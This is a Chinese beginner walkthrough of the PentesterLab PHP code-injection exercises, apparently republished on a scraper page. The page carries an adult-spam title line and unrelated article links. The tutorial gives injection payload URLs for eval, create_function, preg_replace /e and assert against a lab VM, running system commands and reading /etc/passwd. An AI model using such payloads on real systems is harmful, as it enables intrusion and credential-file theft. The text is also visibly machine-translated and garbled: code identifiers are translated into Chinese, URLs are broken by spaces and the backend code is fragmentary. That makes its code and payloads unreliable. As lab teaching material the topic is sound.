丝袜人妻一区二区三区_少妇福利无码视频_亚洲理论片在线观看_一级毛片国产A级片

當(dāng)前位置:首頁(yè) > 財(cái)經(jīng)

代碼教程 PentesterLab新手教程(一):代碼注入

*作者:婷兒,本文屬于FreeBuf原創(chuàng)獲獎(jiǎng)方案,未經(jīng)許可禁止轉(zhuǎn)載。

戊烯實(shí)驗(yàn)室簡(jiǎn)介

針對(duì)pentester的Web是國(guó)外安全研究人員開(kāi)發(fā)的滲透測(cè)試平臺(tái)。

該平臺(tái)包含的主要漏洞如下:

代碼注入(代碼注入)

命令注入(命令行注入)

XSS(跨站點(diǎn)腳本)

sql注入(SQL注入)

文件包含(文件包含)

LDAP攻擊(LDAP攻擊)

文件上傳(文件上傳)

可擴(kuò)展標(biāo)記語(yǔ)言攻擊

個(gè)人感覺(jué)不錯(cuò),但是國(guó)內(nèi)基本沒(méi)有教程,官網(wǎng)的教程也有點(diǎn)貴,打算在pentesterLab上寫(xiě)全套教程。PentesterLab上的web漏洞感覺(jué)比較典型,比較基礎(chǔ),非常適合新手。因?yàn)檫@個(gè)教程是給新手看的,不要覺(jué)得我有些地方重復(fù),呵呵。

PentesterLab安裝

安裝方法很簡(jiǎn)單。官方網(wǎng)站下載ios映像并直接安裝到虛擬機(jī)中。

官網(wǎng)地址&:下載地址

代碼注入(代碼注入)

本文介紹了代碼注入的內(nèi)容,其他模塊教程將在后面給出。

php代碼注入漏洞的主要原因是過(guò)濾不嚴(yán)格,導(dǎo)致惡意代碼被執(zhí)行。這個(gè)漏洞主要是由于函數(shù)的參數(shù)過(guò)濾不嚴(yán)謹(jǐn)造成的,嚴(yán)重的話(huà)可以直接寫(xiě)入webshell。

示例1

后端代碼

";eval($ str);?>。

代碼解釋

Php將獲取參數(shù)拼接到$str變量中,然后eval()函數(shù)執(zhí)行php語(yǔ)句。沒(méi)有過(guò)濾,只要最終語(yǔ)法正確,就可以執(zhí)行。

注意:注釋的代碼是我自己添加的,也可以自己添加,比較直觀(guān)。默認(rèn)情況下會(huì)添加以下代碼。

不知道大家有沒(méi)有注意到這里。如果你構(gòu)造的語(yǔ)句有問(wèn)題,網(wǎng)頁(yè)會(huì)報(bào)錯(cuò)。錯(cuò)誤信息如下:

分析錯(cuò)誤:語(yǔ)法錯(cuò)誤,意外的' & lt'in/var/www/codeexec/example 1 . PHP(13):eval()' d第1行代碼

暴露了當(dāng)前php文件的絕對(duì)路徑和錯(cuò)誤報(bào)告功能,這也是一個(gè)有用的信息。

利用模式

1.執(zhí)行系統(tǒng)命令

POC:http://192 . 168 . 199 . 110/code exec/example 1 . PHP?名稱(chēng)= % 22 . system(% 27ls % 27);//注意:我敲黑板了。`//`這是php中的注釋符號(hào)。請(qǐng)?jiān)u論以下陳述。http://192 . 168 . 199 . 110/code exec/example 1 . PHP?名稱(chēng)= % 22 . system(% 27ls % 27);%20$a=%22注意:這沒(méi)問(wèn)題,`;`表示單個(gè)語(yǔ)句,后面無(wú)用的值賦給一個(gè)變量,起到注釋的作用。在這個(gè)sql注入中,用和' 1' = '1來(lái)結(jié)束單引號(hào)也是同樣的原因。以上返回頁(yè)面:回顯“你好”。系統(tǒng)(' ls ');$a= "??!!";example1.php example2.php example3.php example4.php index.html你好index.html http://192 . 168 . 199 . 110/codeexec/example 1 . PHP?名稱(chēng)= % 22 . system(' cat/etc/passwd ');//檢查系統(tǒng)密鑰文件

再敲黑板

有些新生可能會(huì)問(wèn)echo“你好”。系統(tǒng)(' ls ');這個(gè)語(yǔ)句中的點(diǎn)是字符串拼接。不應(yīng)該返回Hello+ls的結(jié)果嗎?為什么這里的返回值不是這樣。在這里,我給新生簡(jiǎn)單介紹一下科普。

舉個(gè)栗子:

echo ' 1+3 = . 1+3。輸出結(jié)果是4

echo ' 1+3 = . 3+1,輸出結(jié)果為2

如上圖所示,php會(huì)先拼接字符串,然后強(qiáng)制它們?yōu)閕nt,然后計(jì)算輸出結(jié)果。

拼接字符串得到1+3=1,強(qiáng)制轉(zhuǎn)換int類(lèi)型得到1,然后計(jì)算1+3得到4,那么輸出結(jié)果就是4,和上面差不多,不要深究這方面,有輸出就好。

例2

后端代碼

name = $ name$this->。age = $ age$this->。id = $ id} } require_once('../header . PHP ');require_once('../sqli/db . PHP ');$sql = "SELECT * FROM用戶(hù)";$ order = $ _ GET[" order "];$ result = MySQL _ query($ SQL);if($ result){ while($ row = MySQL _ fetch _ assoc($ result)){ $ users[]= new User($ row[' id '],$row['name'],$ row[' age ']);} if(isset($ order)){ usort($ users,create_function('$a,$b ',' return str CMP($ a-& gt;'。$訂單。,$b->'。$訂單。');'));} } ?>。id名稱(chēng)年齡";回聲" "。$ user->;id。";回聲" "。$ user->;姓名?!?;回聲" "。$ user->;年齡?!?;echo} echo要求../footer . PHP ';?>。

代碼分析

Usort()使用用戶(hù)定義的比較函數(shù)對(duì)數(shù)組進(jìn)行排序。語(yǔ)法:usort(array,my function);

Usort()經(jīng)常與函數(shù)create_function一起使用,根據(jù)用戶(hù)控制的信息動(dòng)態(tài)生成“分類(lèi)”函數(shù)。如果Web應(yīng)用程序缺乏有效的過(guò)濾和驗(yàn)證,可能會(huì)導(dǎo)致代碼執(zhí)行。

所以我們關(guān)注這一行代碼:usort ($ users,create _ function ('$ a,$ b ',' return strcmp ($ a-> ')。$訂單。,$b->'。$訂單。');'));可能新同學(xué)也說(shuō)聽(tīng)不懂。別急,先舉個(gè)例子:

Craete _ function ('$ a ',' echo ' hello '。$ a)實(shí)際上相當(dāng)于:

函數(shù)Hello($a) { echo 'Hello。$ a;}

前面部分是函數(shù)變量部分,后面部分是代碼部分。前面的變量被傳遞給后面的參數(shù)。

我們來(lái)看一個(gè)由淺入深的官方例子:

看起來(lái)一樣嗎?是將前面的變量帶入下面的代碼中執(zhí)行。

然后讓我們回頭看看源代碼:

if (isset($order)) { usort($users,create_function('$a,$b ',' return str CMP($ a-& gt;'。$訂單。,$b->'。$訂單。');'));}

您可以看到,這里唯一可控的變量是$order,我們自然會(huì)想到,我們可以關(guān)閉前面的語(yǔ)句,插入我們想要執(zhí)行的代碼,就像sql注入一樣。

因此,嘗試按如下方式關(guān)閉結(jié)構(gòu):

?order = id}//錯(cuò)誤報(bào)告parseerror:語(yǔ)法錯(cuò)誤,意外的“;”我們可能遺漏了一個(gè)或多個(gè)括號(hào)。

?order = id);}//WARNING WARNING: strcmp()期望精確的2個(gè)參數(shù),1Given不是語(yǔ)法錯(cuò)誤,所以這應(yīng)該是可行的。

?order = id));}//繼續(xù)添加圓括號(hào),并報(bào)告錯(cuò)誤:parse error:語(yǔ)法錯(cuò)誤,意外的')'應(yīng)該是多個(gè)圓括號(hào)的原因。

我們知道如何關(guān)閉上面的代碼,并添加我們想要執(zhí)行的代碼。警告只是警告,代碼還是會(huì)執(zhí)行。

使用方法

poc:

看phpinfo()http://192 . 168 . 199 . 110/code exec/example 2 . PHP?order = id);} phpinfo();//檢查敏感文件passwd http://192 . 168 . 199 . 110/codeexec/example 2 . PHP?order = id);}系統(tǒng)(cat % 20/etc/passwd);//示例3

后端代碼

代碼分析

Preg_replace()函數(shù):

混合preg_replace(混合$模式,混合$替換,混合$主題[,int $limit = -1 [,int & amp$count ]])搜索主題中與模式匹配的部分,并用替換替換它。

參數(shù)描述:

$pattern:要搜索的模式,可以是字符串或字符串?dāng)?shù)組。

$replacement:用于替換的字符串或字符串?dāng)?shù)組。

$subject:要搜索替換的目標(biāo)字符串或字符串?dāng)?shù)組。

$limit:可選,每個(gè)模式的每個(gè)主題字符串的最大可替換次數(shù)。默認(rèn)值為-1(無(wú)限制)。

$count:可選,執(zhí)行替換的次數(shù)。

這里的主要功能是匹配基參數(shù)中是否有模式,并用new替換。

按如下方式打開(kāi)連接url

http://192 . 168 . 199 . 110/code exec/example 3 . PHP?new = hacker & amppattern =/lamer/& amp;base = Hello % 20lamer

帶入preg_replace()函數(shù)的三個(gè)參數(shù)是可控的,那么如何使用呢?別急,先明白這個(gè):

/e修飾符使preg_replace()以php代碼的形式執(zhí)行替換參數(shù),前提是主題中存在模式匹配。

使用方法

了解了以上內(nèi)容,我們?cè)趐attern參數(shù)中添加/e修飾符,使模式在主題中匹配,并將替換改為phpinfo()。

按照以下方式構(gòu)建概念驗(yàn)證:

http://192 . 168 . 199 . 110/code exec/example 3 . PHP?new = phpinfo()& amp;pattern =/lamer/e & amp;base = Hello % 20lamer

也可以執(zhí)行系統(tǒng)功能。poc如下:

http://192 . 168 . 199 . 110/code exec/example 3 . PHP?new = system(' ls ')& amp;pattern =/lamer/e & amp;base = Hello % 20 Amer http://192 . 168 . 199 . 110/codeexec/example 3 . PHP?new = system(' whoami ')& amp;pattern =/lamer/e & amp;base = Hello % 20 Amer http://192 . 168 . 199 . 110/codeexec/example 3 . PHP?new =系統(tǒng)(cat /etc/passwd)和amppattern =/lamer/e & amp;base = Hello % 20lamer

注意:PHP 5.5版以上,preg_replace函數(shù)中的修飾符/e被放棄,改為preg_replace _callback

例4

后端代碼

代碼分析

看到assert函數(shù)時(shí)要小心。斷言函數(shù)和評(píng)估函數(shù)都是一句話(huà)的后門(mén)。區(qū)別在于eval函數(shù)中的參數(shù)是字符串,assert函數(shù)中的參數(shù)是表達(dá)式或函數(shù)。

trim()函數(shù)刪除字符串兩邊的空白色字符或其他預(yù)定義字符。

函數(shù)的作用是:將字符串轉(zhuǎn)換成html實(shí)體。

提示:加單引號(hào)是報(bào)表報(bào)錯(cuò)時(shí)的絕對(duì)路徑和報(bào)錯(cuò)功能。錯(cuò)誤報(bào)告如下:

解析錯(cuò)誤:語(yǔ)法錯(cuò)誤,在/var/www/codeexec/example4.php(4)中出現(xiàn)意外的T _ ENCAFODED _ AND _ GASPACES:在第1行中斷言代碼可捕獲的致命錯(cuò)誤:assert():評(píng)估代碼失敗:在/var/www/code exec/example 4 . PHP的第4行中出現(xiàn)“hacker”

使用方法

嘗試構(gòu)造相應(yīng)的語(yǔ)句,使上述語(yǔ)法正確,添加單引號(hào)來(lái)報(bào)告錯(cuò)誤,使用參數(shù)hacker“.”,語(yǔ)法正確,并且沒(méi)有報(bào)告錯(cuò)誤。然后嘗試構(gòu)造phpinfo(),得到poc如下:

http://192 . 168 . 199 . 110/code exec/example 4 . PHP?' name=hacker '。' phpinfo(),'

找到正確的語(yǔ)法關(guān)閉模式后,我們還可以查看如上的passwd文件,poc:

http://192 . 168 . 199 . 110/code exec/example 4 . PHP?名稱(chēng)總結(jié)=黑客’?!跋到y(tǒng)(cat/etc/passwd)?!?/p>

有人可能會(huì)問(wèn)代碼注入和命令行注入有什么區(qū)別。個(gè)人感覺(jué)兩者聯(lián)系很大,代碼注入涉及面很廣。任何由于過(guò)濾不嚴(yán)或邏輯問(wèn)題而可以插入的惡意代碼都屬于代碼注入。但是命令注入由于系統(tǒng)功能過(guò)濾不嚴(yán)格,僅限于系統(tǒng)命令的實(shí)現(xiàn)。

簡(jiǎn)而言之,代碼注入主要是執(zhí)行php代碼,而命令注入主要是執(zhí)行系統(tǒng)命令。

還有一點(diǎn)不知道大家有沒(méi)有注意到,有時(shí)候頁(yè)面錯(cuò)誤信息真的能給你提供很多有用的信息。

下次更新到Command注入,因?yàn)檫@兩個(gè)很容易類(lèi)比學(xué)習(xí)。

最后,如果你有更好的實(shí)現(xiàn)方法或者操作,或者我有需要改進(jìn)的地方,歡迎大牛指出。如果有新同學(xué)有什么問(wèn)題,歡迎在評(píng)論區(qū)隨意提問(wèn)。謝謝你。

*作者:婷兒,本文屬于FreeBuf原創(chuàng)獲獎(jiǎng)方案,未經(jīng)許可禁止轉(zhuǎn)載。

1.《代碼教程 PentesterLab新手教程(一):代碼注入》援引自互聯(lián)網(wǎng),旨在傳遞更多網(wǎng)絡(luò)信息知識(shí),僅代表作者本人觀(guān)點(diǎn),與本網(wǎng)站無(wú)關(guān),侵刪請(qǐng)聯(lián)系頁(yè)腳下方聯(lián)系方式。

2.《代碼教程 PentesterLab新手教程(一):代碼注入》僅供讀者參考,本網(wǎng)站未對(duì)該內(nèi)容進(jìn)行證實(shí),對(duì)其原創(chuàng)性、真實(shí)性、完整性、及時(shí)性不作任何保證。

3.文章轉(zhuǎn)載時(shí)請(qǐng)保留本站內(nèi)容來(lái)源地址,http://f99ss.com/caijing/798694.html

上一篇

哺乳期的女人 哺乳期的女人:穿成人紙尿褲、性壓抑、丈夫出軌,這部電影很寫(xiě)實(shí)

下一篇

鄭觀(guān)音 李世民殺死哥哥李建成后,是如何對(duì)待他的妻兒的?真相令人悲憤

mate10pro參數(shù) 華為Mate10/Pro/保時(shí)捷完整參數(shù)對(duì)比 秒懂

  • mate10pro參數(shù) 華為Mate10/Pro/保時(shí)捷完整參數(shù)對(duì)比 秒懂
  • mate10pro參數(shù) 華為Mate10/Pro/保時(shí)捷完整參數(shù)對(duì)比 秒懂
  • mate10pro參數(shù) 華為Mate10/Pro/保時(shí)捷完整參數(shù)對(duì)比 秒懂

git提交代碼 在WebStorm中使用Git向GitHub提交源代碼

  • git提交代碼 在WebStorm中使用Git向GitHub提交源代碼
  • git提交代碼 在WebStorm中使用Git向GitHub提交源代碼
  • git提交代碼 在WebStorm中使用Git向GitHub提交源代碼
未解的謎團(tuán) 世界上十大未解開(kāi)的謎團(tuán) 十二生肖代碼之謎

未解的謎團(tuán) 世界上十大未解開(kāi)的謎團(tuán) 十二生肖代碼之謎

世界上十大未解開(kāi)的謎團(tuán),十二生肖代碼之謎,宇宙中不為人知的事情太多了,有些謎團(tuán)是可以解決的,而有時(shí)即使科學(xué)研究也無(wú)法解作出解答。其中有些令人費(fèi)解,有些非常耐人尋味,而另一些則肯定會(huì)讓你發(fā)冷。無(wú)論人們多么努力地試圖解決這些謎團(tuán),這些謎團(tuán)都是未解的,而且仍將是未解的。世...

exit函數(shù) linux命令之exit分析

exit函數(shù) linux命令之exit分析

今天我給大家講講linux命令退出的用法和區(qū)別。榮信教育提醒大家,北京空這兩天不太好,同學(xué)們要注意呼吸道疾病的感染。好吧,我們來(lái)看看。  注意:exit()是exit。傳入的參數(shù)是程序退出時(shí)的狀態(tài)代碼。0表示正常退出,其他表示異常退出。一般用-1或1。規(guī)范C中有兩個(gè)...

魅族16x參數(shù) 魅族16X相機(jī)參數(shù)被網(wǎng)友無(wú)視!至今無(wú)海報(bào)被調(diào)侃至今無(wú)貨

  • 魅族16x參數(shù) 魅族16X相機(jī)參數(shù)被網(wǎng)友無(wú)視!至今無(wú)海報(bào)被調(diào)侃至今無(wú)貨
  • 魅族16x參數(shù) 魅族16X相機(jī)參數(shù)被網(wǎng)友無(wú)視!至今無(wú)海報(bào)被調(diào)侃至今無(wú)貨
  • 魅族16x參數(shù) 魅族16X相機(jī)參數(shù)被網(wǎng)友無(wú)視!至今無(wú)海報(bào)被調(diào)侃至今無(wú)貨

電腦突然藍(lán)屏 常見(jiàn)電腦藍(lán)屏代碼,產(chǎn)生原因和解決辦法

  • 電腦突然藍(lán)屏 常見(jiàn)電腦藍(lán)屏代碼,產(chǎn)生原因和解決辦法
  • 電腦突然藍(lán)屏 常見(jiàn)電腦藍(lán)屏代碼,產(chǎn)生原因和解決辦法
  • 電腦突然藍(lán)屏 常見(jiàn)電腦藍(lán)屏代碼,產(chǎn)生原因和解決辦法

硅整流二極管 整流二極管常用型號(hào)及其參數(shù)

很多人有時(shí)候想找某一類(lèi)整流二極管的相關(guān)參數(shù),但是找不到。今天,我們專(zhuān)門(mén)整理了一些常用的整流二極管型號(hào)及其相關(guān)參數(shù),供您查詢(xún)和使用。 05Z6.2Y硅齊納二極管Vz=6~6.35V,Pzm=500mW, 05Z7.5Y硅齊納二極管Vz=7.34~7.70V,Pzm=5...

變量英語(yǔ) 程序代碼中變量名到底是用英文還是用拼音

變量英語(yǔ) 程序代碼中變量名到底是用英文還是用拼音

這個(gè)問(wèn)題好像沒(méi)必要討論。所有有經(jīng)驗(yàn)的程序員都會(huì)毫不猶豫的回答,當(dāng)然是用英語(yǔ)。但是,我今天決心談?wù)勛约旱目捶?,不能一概而論。一個(gè)網(wǎng)站調(diào)查顯示,變量命名是程序員每天最頭疼的事情。所以,變量的命名,中英文都不容易。 我先給出自己的命名規(guī)則:1。對(duì)于所有需要閱讀你的代碼的人...